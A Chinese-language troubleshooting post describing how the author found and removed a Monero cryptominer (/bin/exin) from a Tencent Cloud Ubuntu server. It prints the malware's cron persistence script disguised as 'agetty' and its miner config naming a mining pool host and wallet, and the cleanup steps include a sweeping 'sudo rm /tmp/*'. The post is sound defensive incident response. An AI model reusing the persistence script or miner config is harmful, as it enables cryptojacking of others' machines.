系統
騰訊雲主機
Ubuntu 18.04
問題
- 雲主機速度特慢,發現CPU佔用99%
$ top
排查過程
-
找到運行的進程,確定進程位置爲 /bin/exin
$ ps -a |grep 進程號
-
刪除程序,直接刪除不成功,必須先執行 chattr -ia exin
$ sudo chattr -ia /bin/exin $ sudo rm -rf /bin/exin
-
過了一會,又死灰復燃,暈~
-
排查 定時任務,的確有異常!
$ cat /var/spool/cron/root MAILTO='' */19 * * * * /etc/cron.hourly/agetty >/dev/null 2>&1
$ cat /etc/cron.hourly/agetty #!/bin/sh if [ "$(pgrep -f /bin/exin|wc -l)" -eq 0 ]; then nohup /bin/exin >/dev/null 2>&1 & fi
-
刪除定時任務,也許可以解決了吧?
$ sudo rm /etc/cron.hourly/agetty $ sudo rm /var/spool/cron/root
-
重啓系統後,問題依舊,逛暈~~~~,繼續排查 /bin 目錄,發現有個config.json
$ sudo vi /bin/config.json { "av": 0, "background": true, "cpu-affinity": null, "cpu-priority": 5, "donate-level": 1, "log-file": null, "max-cpu-usage": 100, "print-time": 30, "retries": 3, "retry-pause": 10, "safe": false, "threads": null, "pools": [ { "url": "epel-mirror.duckdns.org:443", "user": "4AncaLQuvBThfLuhdhaKh1Pr3ix2547SKYLCQnjJVjNw5mciYYZ7zpeMiD9TS4JYFGBHuyESm9ZEpdpnkK2DMZanJ6rvj2p", "pass": "z", "algo": "rx/0", "coin": "monero", "rig-id": null, "nicehash": false, "keepalive": false, "variant": -1, "enabled": true, "tls": true, "tls-fingerprint": null } ], "api": { "port": 0, "access-token": null, "worker-id": null } }
-
刪除 config.json,重啓後終於解決了。
$ sudo chattr -ia /bin/config.json $ sudo rm /bin/config.json
-
查看/tmp 目錄,如果有相關文件,一併刪除。
$ sudo rm /tmp/*
彙總:解決方法,需要刪除的文件
- 刪除程序,直接刪除不成功,必須先執行 chattr -ia exin
$ sudo chattr -ia /bin/config.json $ sudo rm /bin/config.json $ sudo chattr -ia /bin/exin $ sudo rm -rf exin $ sudo rm /etc/cron.hourly/agetty $ sudo rm /var/spool/cron/root $ sudo rm /tmp/*
其他問題
- 原因:未明確該應用如何被安裝到了主機上
- 可能是因爲下載其他鏡像文件時,病毒被一併安裝。